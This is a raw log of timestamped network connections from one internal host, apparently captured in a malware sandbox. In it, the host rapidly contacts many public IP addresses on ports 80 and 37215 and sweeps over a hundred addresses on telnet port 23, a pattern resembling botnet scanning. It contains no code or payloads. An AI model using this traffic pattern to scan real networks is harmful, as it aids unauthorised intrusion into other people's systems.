Dec 3, 2024 22:02:04.219849110 CET	37215	54160	156.3.55.17	192.168.2.14
Dec 3, 2024 22:02:04.231378078 CET	37215	36932	197.17.118.166	192.168.2.14
Dec 3, 2024 22:02:04.231410980 CET	37215	60416	156.117.49.107	192.168.2.14
Dec 3, 2024 22:02:04.231431007 CET	37215	45242	197.240.251.151	192.168.2.14
Dec 3, 2024 22:02:04.247350931 CET	80	45584	100.186.253.107	192.168.2.14
Dec 3, 2024 22:02:04.259397030 CET	37215	56346	197.105.204.171	192.168.2.14
Dec 3, 2024 22:02:04.259462118 CET	37215	42150	41.204.219.73	192.168.2.14
Dec 3, 2024 22:02:04.259471893 CET	37215	57956	197.231.150.19	192.168.2.14
Dec 3, 2024 22:02:04.263576031 CET	37215	54160	156.3.55.17	192.168.2.14
Dec 3, 2024 22:02:04.275278091 CET	80	50426	197.136.135.192	192.168.2.14
Dec 3, 2024 22:02:04.276143074 CET	80	50578	197.136.135.192	192.168.2.14
Dec 3, 2024 22:02:04.276191950 CET	50578	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:04.276201963 CET	80	48768	220.43.80.1	192.168.2.14
Dec 3, 2024 22:02:04.276256084 CET	50578	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:04.276262999 CET	80	48920	220.43.80.1	192.168.2.14
Dec 3, 2024 22:02:04.276290894 CET	80	43720	13.161.131.22	192.168.2.14
Dec 3, 2024 22:02:04.276326895 CET	48920	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:04.276340961 CET	48920	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:04.276343107 CET	80	43872	13.161.131.22	192.168.2.14
Dec 3, 2024 22:02:04.276386023 CET	80	54106	149.250.7.242	192.168.2.14
Dec 3, 2024 22:02:04.276402950 CET	43872	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:04.276402950 CET	43872	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:04.276494026 CET	80	54258	149.250.7.242	192.168.2.14
Dec 3, 2024 22:02:04.276603937 CET	54258	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:04.276604891 CET	80	59194	86.124.165.253	192.168.2.14
Dec 3, 2024 22:02:04.276684999 CET	54258	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:04.277550936 CET	80	59346	86.124.165.253	192.168.2.14
Dec 3, 2024 22:02:04.277596951 CET	59346	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:04.277597904 CET	80	40264	68.105.40.66	192.168.2.14
Dec 3, 2024 22:02:04.277616024 CET	59346	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:04.278017998 CET	80	40416	68.105.40.66	192.168.2.14
Dec 3, 2024 22:02:04.278060913 CET	40416	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:04.278076887 CET	40416	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:04.288115978 CET	80	57128	8.73.108.228	192.168.2.14
Dec 3, 2024 22:02:04.289251089 CET	80	57242	8.73.108.228	192.168.2.14
Dec 3, 2024 22:02:04.289319992 CET	57242	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:04.289371967 CET	57242	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:04.296211004 CET	80	34666	166.74.103.249	192.168.2.14
Dec 3, 2024 22:02:04.296220064 CET	80	34752	166.74.103.249	192.168.2.14
Dec 3, 2024 22:02:04.296279907 CET	34752	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:04.296293974 CET	34752	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:04.309324026 CET	37215	45628	197.240.251.151	192.168.2.14
Dec 3, 2024 22:02:04.309390068 CET	45628	37215	192.168.2.14	197.240.251.151
Dec 3, 2024 22:02:04.317877054 CET	80	55364	222.244.100.80	192.168.2.14
Dec 3, 2024 22:02:04.318135977 CET	80	55408	222.244.100.80	192.168.2.14
Dec 3, 2024 22:02:04.318165064 CET	55408	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:04.318213940 CET	55408	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:04.319454908 CET	80	40264	68.105.40.66	192.168.2.14
Dec 3, 2024 22:02:04.319470882 CET	80	59194	86.124.165.253	192.168.2.14
Dec 3, 2024 22:02:04.319488049 CET	80	54106	149.250.7.242	192.168.2.14
Dec 3, 2024 22:02:04.319499016 CET	80	43720	13.161.131.22	192.168.2.14
Dec 3, 2024 22:02:04.319515944 CET	80	48768	220.43.80.1	192.168.2.14
Dec 3, 2024 22:02:04.319526911 CET	80	50426	197.136.135.192	192.168.2.14
Dec 3, 2024 22:02:04.321605921 CET	37215	57736	156.234.225.136	192.168.2.14
Dec 3, 2024 22:02:04.321671963 CET	57736	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:04.321708918 CET	57736	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:04.331423998 CET	80	57128	8.73.108.228	192.168.2.14
Dec 3, 2024 22:02:04.339229107 CET	37215	58310	197.231.150.19	192.168.2.14
Dec 3, 2024 22:02:04.339328051 CET	58310	37215	192.168.2.14	197.231.150.19
Dec 3, 2024 22:02:04.339346886 CET	37215	42512	41.204.219.73	192.168.2.14
Dec 3, 2024 22:02:04.339406967 CET	42512	37215	192.168.2.14	41.204.219.73
Dec 3, 2024 22:02:04.343429089 CET	80	34666	166.74.103.249	192.168.2.14
Dec 3, 2024 22:02:04.359397888 CET	80	55364	222.244.100.80	192.168.2.14
Dec 3, 2024 22:02:04.396574974 CET	80	50578	197.136.135.192	192.168.2.14
Dec 3, 2024 22:02:04.396660089 CET	50578	80	192.168.2.14	197.136.135.192
Dec 3, 2024 22:02:04.396899939 CET	80	48920	220.43.80.1	192.168.2.14
Dec 3, 2024 22:02:04.396982908 CET	48920	80	192.168.2.14	220.43.80.1
Dec 3, 2024 22:02:04.397114992 CET	80	43872	13.161.131.22	192.168.2.14
Dec 3, 2024 22:02:04.397202015 CET	43872	80	192.168.2.14	13.161.131.22
Dec 3, 2024 22:02:04.397294998 CET	80	54258	149.250.7.242	192.168.2.14
Dec 3, 2024 22:02:04.397335052 CET	54258	80	192.168.2.14	149.250.7.242
Dec 3, 2024 22:02:04.397789955 CET	80	59346	86.124.165.253	192.168.2.14
Dec 3, 2024 22:02:04.397833109 CET	59346	80	192.168.2.14	86.124.165.253
Dec 3, 2024 22:02:04.398106098 CET	80	40416	68.105.40.66	192.168.2.14
Dec 3, 2024 22:02:04.398147106 CET	40416	80	192.168.2.14	68.105.40.66
Dec 3, 2024 22:02:04.409804106 CET	80	57242	8.73.108.228	192.168.2.14
Dec 3, 2024 22:02:04.409862995 CET	57242	80	192.168.2.14	8.73.108.228
Dec 3, 2024 22:02:04.416522980 CET	80	34752	166.74.103.249	192.168.2.14
Dec 3, 2024 22:02:04.416568041 CET	34752	80	192.168.2.14	166.74.103.249
Dec 3, 2024 22:02:04.438581944 CET	80	55408	222.244.100.80	192.168.2.14
Dec 3, 2024 22:02:04.438685894 CET	55408	80	192.168.2.14	222.244.100.80
Dec 3, 2024 22:02:04.442495108 CET	37215	57736	156.234.225.136	192.168.2.14
Dec 3, 2024 22:02:04.442578077 CET	57736	37215	192.168.2.14	156.234.225.136
Dec 3, 2024 22:02:05.065366030 CET	47960	80	192.168.2.14	71.56.234.92
Dec 3, 2024 22:02:05.065366030 CET	50438	80	192.168.2.14	79.170.133.116
Dec 3, 2024 22:02:05.065368891 CET	54168	80	192.168.2.14	120.243.91.245
Dec 3, 2024 22:02:05.065380096 CET	37514	80	192.168.2.14	198.212.68.69
Dec 3, 2024 22:02:05.065387011 CET	46508	80	192.168.2.14	57.191.144.175
Dec 3, 2024 22:02:05.065387011 CET	46456	80	192.168.2.14	18.112.98.27
Dec 3, 2024 22:02:05.065393925 CET	37528	80	192.168.2.14	46.144.210.85
Dec 3, 2024 22:02:05.065393925 CET	46614	80	192.168.2.14	185.188.215.253
Dec 3, 2024 22:02:05.065402031 CET	43712	80	192.168.2.14	5.247.37.118
Dec 3, 2024 22:02:05.065404892 CET	56516	80	192.168.2.14	93.47.55.220
Dec 3, 2024 22:02:05.065502882 CET	58040	80	192.168.2.14	2.66.91.134
Dec 3, 2024 22:02:05.065502882 CET	58604	80	192.168.2.14	199.144.196.39
Dec 3, 2024 22:02:05.065502882 CET	55334	80	192.168.2.14	41.3.202.197
Dec 3, 2024 22:02:05.065504074 CET	34708	80	192.168.2.14	83.66.176.9
Dec 3, 2024 22:02:05.065504074 CET	45746	80	192.168.2.14	66.135.164.211
Dec 3, 2024 22:02:05.065505028 CET	51406	80	192.168.2.14	44.122.74.244
Dec 3, 2024 22:02:05.065505028 CET	59690	80	192.168.2.14	69.234.220.201
Dec 3, 2024 22:02:05.065505028 CET	39376	80	192.168.2.14	150.169.126.146
Dec 3, 2024 22:02:05.065505028 CET	33810	80	192.168.2.14	223.131.159.194
Dec 3, 2024 22:02:05.065524101 CET	60328	80	192.168.2.14	120.27.40.11
Dec 3, 2024 22:02:05.065530062 CET	33454	80	192.168.2.14	149.204.115.19
Dec 3, 2024 22:02:05.065531969 CET	41500	80	192.168.2.14	133.133.165.240
Dec 3, 2024 22:02:05.065532923 CET	54492	80	192.168.2.14	160.21.32.85
Dec 3, 2024 22:02:05.065538883 CET	51388	80	192.168.2.14	157.42.76.182
Dec 3, 2024 22:02:05.065541983 CET	38984	80	192.168.2.14	167.218.38.29
Dec 3, 2024 22:02:05.065552950 CET	43084	80	192.168.2.14	203.231.182.115
Dec 3, 2024 22:02:05.065556049 CET	40904	80	192.168.2.14	48.32.166.226
Dec 3, 2024 22:02:05.065563917 CET	33014	80	192.168.2.14	195.185.183.91
Dec 3, 2024 22:02:05.065570116 CET	58720	80	192.168.2.14	207.50.163.240
Dec 3, 2024 22:02:05.065570116 CET	50338	80	192.168.2.14	167.62.82.131
Dec 3, 2024 22:02:05.065571070 CET	46742	80	192.168.2.14	212.188.14.62
Dec 3, 2024 22:02:05.065573931 CET	60226	80	192.168.2.14	89.98.95.53
Dec 3, 2024 22:02:05.065573931 CET	55850	80	192.168.2.14	223.56.226.226
Dec 3, 2024 22:02:05.065574884 CET	60190	80	192.168.2.14	62.250.5.2
Dec 3, 2024 22:02:05.065582037 CET	34730	80	192.168.2.14	129.125.175.170
Dec 3, 2024 22:02:05.065583944 CET	39618	80	192.168.2.14	84.18.193.185
Dec 3, 2024 22:02:05.065583944 CET	49394	80	192.168.2.14	36.241.29.66
Dec 3, 2024 22:02:05.065583944 CET	54360	80	192.168.2.14	106.191.70.70
Dec 3, 2024 22:02:05.065584898 CET	52066	80	192.168.2.14	218.163.6.206
Dec 3, 2024 22:02:05.065586090 CET	55962	80	192.168.2.14	72.243.203.46
Dec 3, 2024 22:02:05.065586090 CET	41744	80	192.168.2.14	45.28.33.123
Dec 3, 2024 22:02:05.065593004 CET	43082	80	192.168.2.14	12.155.148.111
Dec 3, 2024 22:02:05.065602064 CET	43620	80	192.168.2.14	20.35.75.252
Dec 3, 2024 22:02:05.065603018 CET	54890	80	192.168.2.14	49.180.199.91
Dec 3, 2024 22:02:05.065603018 CET	59766	80	192.168.2.14	186.103.200.154
Dec 3, 2024 22:02:05.065604925 CET	33856	80	192.168.2.14	164.132.95.172
Dec 3, 2024 22:02:05.065606117 CET	37122	80	192.168.2.14	31.154.194.45
Dec 3, 2024 22:02:05.065606117 CET	54390	80	192.168.2.14	205.253.138.238
Dec 3, 2024 22:02:05.065607071 CET	41054	80	192.168.2.14	90.146.94.112
Dec 3, 2024 22:02:05.065604925 CET	33976	80	192.168.2.14	194.3.119.244
Dec 3, 2024 22:02:05.065604925 CET	36808	80	192.168.2.14	180.111.197.220
Dec 3, 2024 22:02:05.097340107 CET	37316	37215	192.168.2.14	197.17.118.166
Dec 3, 2024 22:02:05.097340107 CET	40786	80	192.168.2.14	124.187.170.176
Dec 3, 2024 22:02:05.097349882 CET	46086	80	192.168.2.14	100.186.253.107
Dec 3, 2024 22:02:05.097349882 CET	44556	80	192.168.2.14	116.230.207.99
Dec 3, 2024 22:02:05.097348928 CET	60810	37215	192.168.2.14	156.117.49.107
Dec 3, 2024 22:02:05.097358942 CET	52840	80	192.168.2.14	67.122.14.87
Dec 3, 2024 22:02:05.097362995 CET	57248	80	192.168.2.14	64.28.171.0
Dec 3, 2024 22:02:05.097363949 CET	46952	80	192.168.2.14	85.122.192.250
Dec 3, 2024 22:02:05.097363949 CET	56348	80	192.168.2.14	27.30.146.2
Dec 3, 2024 22:02:05.097362995 CET	53072	80	192.168.2.14	153.65.121.5
Dec 3, 2024 22:02:05.097378969 CET	44916	80	192.168.2.14	42.182.65.179
Dec 3, 2024 22:02:05.129354000 CET	54522	37215	192.168.2.14	156.3.55.17
Dec 3, 2024 22:02:05.129354000 CET	56708	37215	192.168.2.14	197.105.204.171
Dec 3, 2024 22:02:05.182214975 CET	39808	23	192.168.2.14	212.148.34.206
Dec 3, 2024 22:02:05.182214975 CET	39808	23	192.168.2.14	148.16.43.77
Dec 3, 2024 22:02:05.182257891 CET	39808	23	192.168.2.14	104.209.101.226
Dec 3, 2024 22:02:05.182284117 CET	39808	23	192.168.2.14	163.150.150.78
Dec 3, 2024 22:02:05.182301044 CET	39808	23	192.168.2.14	161.120.139.20
Dec 3, 2024 22:02:05.182327986 CET	39808	23	192.168.2.14	118.73.20.231
Dec 3, 2024 22:02:05.182353973 CET	39808	23	192.168.2.14	133.90.206.56
Dec 3, 2024 22:02:05.182388067 CET	39808	23	192.168.2.14	79.247.84.15
Dec 3, 2024 22:02:05.182400942 CET	39808	23	192.168.2.14	133.6.146.73
Dec 3, 2024 22:02:05.182420015 CET	39808	23	192.168.2.14	202.250.102.217
Dec 3, 2024 22:02:05.182435036 CET	39808	23	192.168.2.14	65.252.187.16
Dec 3, 2024 22:02:05.182444096 CET	39808	23	192.168.2.14	85.132.25.139
Dec 3, 2024 22:02:05.182473898 CET	39808	23	192.168.2.14	135.99.207.174
Dec 3, 2024 22:02:05.182490110 CET	39808	23	192.168.2.14	40.214.57.176
Dec 3, 2024 22:02:05.182543993 CET	39808	23	192.168.2.14	39.162.78.109
Dec 3, 2024 22:02:05.182547092 CET	39808	23	192.168.2.14	27.8.217.202
Dec 3, 2024 22:02:05.182554007 CET	39808	23	192.168.2.14	105.194.105.90
Dec 3, 2024 22:02:05.182563066 CET	39808	23	192.168.2.14	143.187.197.148
Dec 3, 2024 22:02:05.182568073 CET	39808	23	192.168.2.14	156.198.195.142
Dec 3, 2024 22:02:05.182568073 CET	39808	23	192.168.2.14	194.148.27.5
Dec 3, 2024 22:02:05.182586908 CET	39808	23	192.168.2.14	69.125.122.217
Dec 3, 2024 22:02:05.182586908 CET	39808	23	192.168.2.14	66.112.4.133
Dec 3, 2024 22:02:05.182591915 CET	39808	23	192.168.2.14	73.170.11.102
Dec 3, 2024 22:02:05.182594061 CET	39808	23	192.168.2.14	126.22.155.150
Dec 3, 2024 22:02:05.182600021 CET	39808	23	192.168.2.14	164.229.99.7
Dec 3, 2024 22:02:05.182600021 CET	39808	23	192.168.2.14	162.160.206.51
Dec 3, 2024 22:02:05.182600975 CET	39808	23	192.168.2.14	34.165.223.146
Dec 3, 2024 22:02:05.182609081 CET	39808	23	192.168.2.14	117.100.200.234
Dec 3, 2024 22:02:05.182614088 CET	39808	23	192.168.2.14	41.225.227.70
Dec 3, 2024 22:02:05.182614088 CET	39808	23	192.168.2.14	159.182.55.107
Dec 3, 2024 22:02:05.182627916 CET	39808	23	192.168.2.14	54.131.62.206
Dec 3, 2024 22:02:05.182627916 CET	39808	23	192.168.2.14	24.74.192.181
Dec 3, 2024 22:02:05.182629108 CET	39808	23	192.168.2.14	135.242.35.205
Dec 3, 2024 22:02:05.182631016 CET	39808	23	192.168.2.14	140.180.59.118
Dec 3, 2024 22:02:05.182636976 CET	39808	23	192.168.2.14	52.57.195.31
Dec 3, 2024 22:02:05.182638884 CET	39808	23	192.168.2.14	85.189.194.22
Dec 3, 2024 22:02:05.182647943 CET	39808	23	192.168.2.14	159.136.22.153
Dec 3, 2024 22:02:05.182657957 CET	39808	23	192.168.2.14	60.5.90.27
Dec 3, 2024 22:02:05.182673931 CET	39808	23	192.168.2.14	162.226.33.62
Dec 3, 2024 22:02:05.182674885 CET	39808	23	192.168.2.14	160.163.27.71
Dec 3, 2024 22:02:05.182673931 CET	39808	23	192.168.2.14	207.213.236.37
Dec 3, 2024 22:02:05.182676077 CET	39808	23	192.168.2.14	184.113.164.96
Dec 3, 2024 22:02:05.182676077 CET	39808	23	192.168.2.14	20.191.61.251
Dec 3, 2024 22:02:05.182684898 CET	39808	23	192.168.2.14	124.14.141.38
Dec 3, 2024 22:02:05.182688951 CET	39808	23	192.168.2.14	41.162.42.177
Dec 3, 2024 22:02:05.182703018 CET	39808	23	192.168.2.14	99.113.118.16
Dec 3, 2024 22:02:05.182703018 CET	39808	23	192.168.2.14	20.232.17.103
Dec 3, 2024 22:02:05.182708025 CET	39808	23	192.168.2.14	73.114.2.209
Dec 3, 2024 22:02:05.182712078 CET	39808	23	192.168.2.14	13.26.226.164
Dec 3, 2024 22:02:05.182713985 CET	39808	23	192.168.2.14	37.131.180.50
Dec 3, 2024 22:02:05.182713985 CET	39808	23	192.168.2.14	144.111.218.31
Dec 3, 2024 22:02:05.182718039 CET	39808	23	192.168.2.14	154.248.229.211
Dec 3, 2024 22:02:05.182718039 CET	39808	23	192.168.2.14	120.81.9.65
Dec 3, 2024 22:02:05.182723999 CET	39808	23	192.168.2.14	82.79.72.136
Dec 3, 2024 22:02:05.182733059 CET	39808	23	192.168.2.14	97.138.255.98
Dec 3, 2024 22:02:05.182734966 CET	39808	23	192.168.2.14	222.170.198.78
Dec 3, 2024 22:02:05.182748079 CET	39808	23	192.168.2.14	159.140.222.88
Dec 3, 2024 22:02:05.182749987 CET	39808	23	192.168.2.14	53.139.112.85
Dec 3, 2024 22:02:05.182748079 CET	39808	23	192.168.2.14	60.216.201.112
Dec 3, 2024 22:02:05.182751894 CET	39808	23	192.168.2.14	51.104.193.253
Dec 3, 2024 22:02:05.182754040 CET	39808	23	192.168.2.14	201.9.120.47
Dec 3, 2024 22:02:05.182754040 CET	39808	23	192.168.2.14	126.229.223.53
Dec 3, 2024 22:02:05.182754040 CET	39808	23	192.168.2.14	216.41.13.177
Dec 3, 2024 22:02:05.182764053 CET	39808	23	192.168.2.14	177.216.37.62
Dec 3, 2024 22:02:05.182770967 CET	39808	23	192.168.2.14	81.130.124.132
Dec 3, 2024 22:02:05.182774067 CET	39808	23	192.168.2.14	46.82.241.140
Dec 3, 2024 22:02:05.182774067 CET	39808	23	192.168.2.14	219.141.246.59
Dec 3, 2024 22:02:05.182775974 CET	39808	23	192.168.2.14	106.255.56.183
Dec 3, 2024 22:02:05.182782888 CET	39808	23	192.168.2.14	57.246.241.135
Dec 3, 2024 22:02:05.182785988 CET	39808	23	192.168.2.14	112.91.14.181
Dec 3, 2024 22:02:05.182785988 CET	39808	23	192.168.2.14	50.7.10.108
Dec 3, 2024 22:02:05.182801962 CET	39808	23	192.168.2.14	86.252.178.195
Dec 3, 2024 22:02:05.182801962 CET	39808	23	192.168.2.14	93.224.73.201
Dec 3, 2024 22:02:05.182802916 CET	39808	23	192.168.2.14	184.110.194.148
Dec 3, 2024 22:02:05.182804108 CET	39808	23	192.168.2.14	101.55.113.130
Dec 3, 2024 22:02:05.182821989 CET	39808	23	192.168.2.14	141.245.179.206
Dec 3, 2024 22:02:05.182823896 CET	39808	23	192.168.2.14	212.205.20.191
Dec 3, 2024 22:02:05.182823896 CET	39808	23	192.168.2.14	72.174.19.83
Dec 3, 2024 22:02:05.182832003 CET	39808	23	192.168.2.14	74.94.134.118
Dec 3, 2024 22:02:05.182837009 CET	39808	23	192.168.2.14	187.67.53.228
Dec 3, 2024 22:02:05.182847023 CET	39808	23	192.168.2.14	124.200.133.229
Dec 3, 2024 22:02:05.182852983 CET	39808	23	192.168.2.14	46.13.207.87
Dec 3, 2024 22:02:05.182852983 CET	39808	23	192.168.2.14	51.177.75.144
Dec 3, 2024 22:02:05.182867050 CET	39808	23	192.168.2.14	188.69.214.235
Dec 3, 2024 22:02:05.182873011 CET	39808	23	192.168.2.14	180.105.86.79
Dec 3, 2024 22:02:05.182878017 CET	39808	23	192.168.2.14	101.250.160.46
Dec 3, 2024 22:02:05.182884932 CET	39808	23	192.168.2.14	176.228.169.215
Dec 3, 2024 22:02:05.182889938 CET	39808	23	192.168.2.14	75.185.42.233
Dec 3, 2024 22:02:05.182889938 CET	39808	23	192.168.2.14	92.234.127.21
Dec 3, 2024 22:02:05.182890892 CET	39808	23	192.168.2.14	151.85.199.156
Dec 3, 2024 22:02:05.182898045 CET	39808	23	192.168.2.14	90.77.177.28
Dec 3, 2024 22:02:05.182898045 CET	39808	23	192.168.2.14	191.0.173.35
Dec 3, 2024 22:02:05.182914972 CET	39808	23	192.168.2.14	199.140.86.207
Dec 3, 2024 22:02:05.182914972 CET	39808	23	192.168.2.14	129.201.251.147
Dec 3, 2024 22:02:05.182918072 CET	39808	23	192.168.2.14	199.225.79.194
Dec 3, 2024 22:02:05.182924032 CET	39808	23	192.168.2.14	87.71.205.62
Dec 3, 2024 22:02:05.182926893 CET	39808	23	192.168.2.14	96.228.158.135
Dec 3, 2024 22:02:05.182929039 CET	39808	23	192.168.2.14	78.142.59.25
Dec 3, 2024 22:02:05.182938099 CET	39808	23	192.168.2.14	211.211.95.222
Dec 3, 2024 22:02:05.182951927 CET	39808	23	192.168.2.14	18.221.77.18
Dec 3, 2024 22:02:05.182951927 CET	39808	23	192.168.2.14	169.207.138.142
Dec 3, 2024 22:02:05.182954073 CET	39808	23	192.168.2.14	70.193.140.84
Dec 3, 2024 22:02:05.182960987 CET	39808	23	192.168.2.14	213.110.69.93
Dec 3, 2024 22:02:05.182961941 CET	39808	23	192.168.2.14	166.126.248.204
Dec 3, 2024 22:02:05.182970047 CET	39808	23	192.168.2.14	212.136.203.47
Dec 3, 2024 22:02:05.182974100 CET	39808	23	192.168.2.14	52.36.179.118
Dec 3, 2024 22:02:05.182974100 CET	39808	23	192.168.2.14	109.231.107.52
Dec 3, 2024 22:02:05.182977915 CET	39808	23	192.168.2.14	36.165.199.181
Dec 3, 2024 22:02:05.182981014 CET	39808	23	192.168.2.14	31.211.213.222
Dec 3, 2024 22:02:05.182985067 CET	39808	23	192.168.2.14	133.93.111.104
Dec 3, 2024 22:02:05.182993889 CET	39808	23	192.168.2.14	103.150.105.126
Dec 3, 2024 22:02:05.182993889 CET	39808	23	192.168.2.14	45.0.106.169
Dec 3, 2024 22:02:05.183006048 CET	39808	23	192.168.2.14	106.128.243.50
Dec 3, 2024 22:02:05.183006048 CET	39808	23	192.168.2.14	68.215.146.112
Dec 3, 2024 22:02:05.183017015 CET	39808	23	192.168.2.14	98.109.123.183
Dec 3, 2024 22:02:05.183022022 CET	39808	23	192.168.2.14	125.52.15.232
Dec 3, 2024 22:02:05.183024883 CET	39808	23	192.168.2.14	66.79.101.225
Dec 3, 2024 22:02:05.183032990 CET	39808	23	192.168.2.14	4.224.48.140
Dec 3, 2024 22:02:05.183039904 CET	39808	23	192.168.2.14	188.237.38.3
Dec 3, 2024 22:02:05.183044910 CET	39808	23	192.168.2.14	63.33.243.36
Dec 3, 2024 22:02:05.183048010 CET	39808	23	192.168.2.14	221.75.113.116
Dec 3, 2024 22:02:05.183059931 CET	39808	23	192.168.2.14	121.133.208.121
Dec 3, 2024 22:02:05.183060884 CET	39808	23	192.168.2.14	136.112.230.244
Dec 3, 2024 22:02:05.183068991 CET	39808	23	192.168.2.14	68.120.254.112
Dec 3, 2024 22:02:05.183075905 CET	39808	23	192.168.2.14	156.155.52.2
Dec 3, 2024 22:02:05.183087111 CET	39808	23	192.168.2.14	24.179.242.167
Dec 3, 2024 22:02:05.183088064 CET	39808	23	192.168.2.14	129.87.198.202
Dec 3, 2024 22:02:05.183089972 CET	39808	23	192.168.2.14	186.202.113.95
Dec 3, 2024 22:02:05.183089972 CET	39808	23	192.168.2.14	19.241.170.191
Dec 3, 2024 22:02:05.183101892 CET	39808	23	192.168.2.14	143.74.9.71
Dec 3, 2024 22:02:05.183101892 CET	39808	23	192.168.2.14	212.16.21.63
Dec 3, 2024 22:02:05.183104992 CET	39808	23	192.168.2.14	190.247.229.181
Dec 3, 2024 22:02:05.183108091 CET	39808	23	192.168.2.14	100.140.135.154
Dec 3, 2024 22:02:05.183126926 CET	39808	23	192.168.2.14	151.14.128.141
Dec 3, 2024 22:02:05.183130026 CET	39808	23	192.168.2.14	207.94.155.53
Dec 3, 2024 22:02:05.183134079 CET	39808	23	192.168.2.14	165.31.118.121
Dec 3, 2024 22:02:05.183134079 CET	39808	23	192.168.2.14	63.20.137.130
Dec 3, 2024 22:02:05.183137894 CET	39808	23	192.168.2.14	17.127.83.227
Dec 3, 2024 22:02:05.183137894 CET	39808	23	192.168.2.14	181.173.142.22
Dec 3, 2024 22:02:05.183142900 CET	39808	23	192.168.2.14	121.94.180.254
Dec 3, 2024 22:02:05.183142900 CET	39808	23	192.168.2.14	174.238.140.158
Dec 3, 2024 22:02:05.183159113 CET	39808	23	192.168.2.14	118.255.123.111
Dec 3, 2024 22:02:05.183159113 CET	39808	23	192.168.2.14	47.149.55.11
Dec 3, 2024 22:02:05.183171034 CET	39808	23	192.168.2.14	61.240.35.115
Dec 3, 2024 22:02:05.183171988 CET	39808	23	192.168.2.14	17.190.98.241
Dec 3, 2024 22:02:05.183172941 CET	39808	23	192.168.2.14	157.39.105.64
Dec 3, 2024 22:02:05.183172941 CET	39808	23	192.168.2.14	142.15.92.213
Dec 3, 2024 22:02:05.183172941 CET	39808	23	192.168.2.14	34.228.32.221
Dec 3, 2024 22:02:05.183182001 CET	39808	23	192.168.2.14	71.62.186.248
Dec 3, 2024 22:02:05.183183908 CET	39808	23	192.168.2.14	221.7.212.163
Dec 3, 2024 22:02:05.183187962 CET	39808	23	192.168.2.14	79.160.113.214
Dec 3, 2024 22:02:05.183197975 CET	39808	23	192.168.2.14	96.32.145.140
Dec 3, 2024 22:02:05.183197975 CET	39808	23	192.168.2.14	115.184.195.247
Dec 3, 2024 22:02:05.183207989 CET	39808	23	192.168.2.14	128.2.199.188
Dec 3, 2024 22:02:05.183218002 CET	39808	23	192.168.2.14	188.166.82.158
Dec 3, 2024 22:02:05.183223009 CET	39808	23	192.168.2.14	96.234.227.10
Dec 3, 2024 22:02:05.183223009 CET	39808	23	192.168.2.14	38.170.114.170
Dec 3, 2024 22:02:05.183226109 CET	39808	23	192.168.2.14	44.37.108.228
Dec 3, 2024 22:02:05.183228970 CET	39808	23	192.168.2.14	190.16.196.142
Dec 3, 2024 22:02:05.183238983 CET	39808	23	192.168.2.14	150.151.105.1
Dec 3, 2024 22:02:05.183238983 CET	39808	23	192.168.2.14	211.190.232.87
Dec 3, 2024 22:02:05.183238983 CET	39808	23	192.168.2.14	148.164.185.219
Dec 3, 2024 22:02:05.183238983 CET	39808	23	192.168.2.14	212.16.42.210
Dec 3, 2024 22:02:05.183248043 CET	39808	23	192.168.2.14	106.133.33.29
Dec 3, 2024 22:02:05.183254957 CET	39808	23	192.168.2.14	142.136.188.151
Dec 3, 2024 22:02:05.183264017 CET	39808	23	192.168.2.14	62.159.33.22
Dec 3, 2024 22:02:05.183265924 CET	39808	23	192.168.2.14	145.45.124.217
Dec 3, 2024 22:02:05.183273077 CET	39808	23	192.168.2.14	91.225.28.101
Dec 3, 2024 22:02:05.183273077 CET	39808	23	192.168.2.14	102.210.186.242
Dec 3, 2024 22:02:05.183275938 CET	39808	23	192.168.2.14	210.185.45.209
Dec 3, 2024 22:02:05.183273077 CET	39808	23	192.168.2.14	164.118.178.222
Dec 3, 2024 22:02:05.183281898 CET	39808	23	192.168.2.14	145.14.167.163
Dec 3, 2024 22:02:05.183284998 CET	39808	23	192.168.2.14	41.95.91.48
Dec 3, 2024 22:02:05.183285952 CET	39808	23	192.168.2.14	51.157.186.106
Dec 3, 2024 22:02:05.183296919 CET	39808	23	192.168.2.14	72.214.100.109
Dec 3, 2024 22:02:05.183304071 CET	39808	23	192.168.2.14	213.103.120.10
Dec 3, 2024 22:02:05.183304071 CET	39808	23	192.168.2.14	52.183.238.55
Dec 3, 2024 22:02:05.183325052 CET	39808	23	192.168.2.14	14.215.25.97
Dec 3, 2024 22:02:05.183325052 CET	39808	23	192.168.2.14	141.78.139.218
Dec 3, 2024 22:02:05.183331966 CET	39808	23	192.168.2.14	111.176.132.162
Dec 3, 2024 22:02:05.183335066 CET	39808	23	192.168.2.14	213.243.197.66
Dec 3, 2024 22:02:05.183336973 CET	39808	23	192.168.2.14	90.15.2.134
Dec 3, 2024 22:02:05.183342934 CET	39808	23	192.168.2.14	208.110.34.214
Dec 3, 2024 22:02:05.183367968 CET	39808	23	192.168.2.14	197.236.155.146
Dec 3, 2024 22:02:05.183368921 CET	39808	23	192.168.2.14	181.83.39.218
Dec 3, 2024 22:02:05.183372021 CET	39808	23	192.168.2.14	154.84.196.172
Dec 3, 2024 22:02:05.183373928 CET	39808	23	192.168.2.14	25.169.144.113
Dec 3, 2024 22:02:05.183377028 CET	39808	23	192.168.2.14	209.240.12.35
Dec 3, 2024 22:02:05.183382034 CET	39808	23	192.168.2.14	60.67.84.178
Dec 3, 2024 22:02:05.183382988 CET	39808	23	192.168.2.14	120.226.203.59
Dec 3, 2024 22:02:05.183382034 CET	39808	23	192.168.2.14	108.192.142.126
Dec 3, 2024 22:02:05.183382034 CET	39808	23	192.168.2.14	90.77.105.119
Dec 3, 2024 22:02:05.183401108 CET	39808	23	192.168.2.14	201.30.170.143
